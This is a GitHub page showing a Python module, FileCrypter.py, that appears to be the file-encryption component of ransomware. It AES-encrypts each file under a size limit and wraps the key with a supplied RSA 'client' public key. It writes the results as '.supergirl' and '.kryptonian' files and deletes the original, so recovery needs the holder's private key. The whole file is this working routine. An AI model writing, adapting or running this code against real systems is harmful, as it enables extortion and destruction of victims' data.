-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathFileCrypter.py
108 lines (86 loc) · 3.34 KB
/
FileCrypter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import base64
import os
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
from AES.RandomKeyGen import RandomKeyGen
from Crypto import Random
from Crypto.Cipher import AES
import Config
class FileCrypter:
def __init__(self):
self.key, self.iv = RandomKeyGen().getKey()
self.encoding = 'utf-8'
def pad(self, s):
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)
def encrypt(self, message, key, key_size=256):
message = self.pad(message)
iv = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(message)
def decrypt(self, ciphertext, key):
iv = ciphertext[:AES.block_size]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext[AES.block_size:])
return plaintext.rstrip(b"\0")
def encrypt_file(self, file_name, client_pub_key):
if not os.path.isfile(file_name):
return
#calculate the MAX_SIZE in GB
file_size = os.path.getsize(file_name) * 0.000000001
if file_size > Config.MAX_SIZE_LIMIT:
return
public_key = serialization.load_ssh_public_key(
bytes(client_pub_key, 'utf-8'),
backend=default_backend()
)
#write the AES encryption key into a seperate file
keyb64 = base64.b64encode(self.key)
ivb64 = base64.b64encode(self.iv)
t = bytes(keyb64.decode(self.encoding) + ";" + ivb64.decode(self.encoding), self.encoding)
cipher = public_key.encrypt(
t,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA1(),
label=None
)
)
cipher = base64.b64encode(cipher)
with open(file_name, 'rb') as fo:
plaintext = fo.read()
enc = self.encrypt(plaintext, self.key)
with open(file_name + ".supergirl", 'wb') as fo:
fo.write(enc)
with open(file_name + ".kryptonian", 'wb') as info:
info.write(cipher)
os.remove(file_name)
def decrypt_file(self, file_name, privateKeyStr):
if not os.path.isfile(file_name):
return
private_key = serialization.load_pem_private_key(
bytes(privateKeyStr, 'utf-8'),
password=None,
backend=default_backend()
)
tmp_name = file_name[:-10]
aes_line = open(tmp_name + '.kryptonian', 'rb').readline().strip()
aes_line = base64.b64decode(aes_line)
aes_iv_clear = private_key.decrypt(
aes_line,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA1(),
label=None
)
)
aes_iv_clear = aes_iv_clear.decode(self.encoding)
aes_iv_clear = aes_iv_clear.split(';')[0]
aes_iv_clear = base64.b64decode(aes_iv_clear)
with open(file_name, 'rb') as fo:
ciphertext = fo.read()
dec = self.decrypt(ciphertext, aes_iv_clear)
with open(file_name[:-10], 'wb') as fo:
fo.write(dec)
os.remove(file_name)
os.remove(tmp_name + '.kryptonian')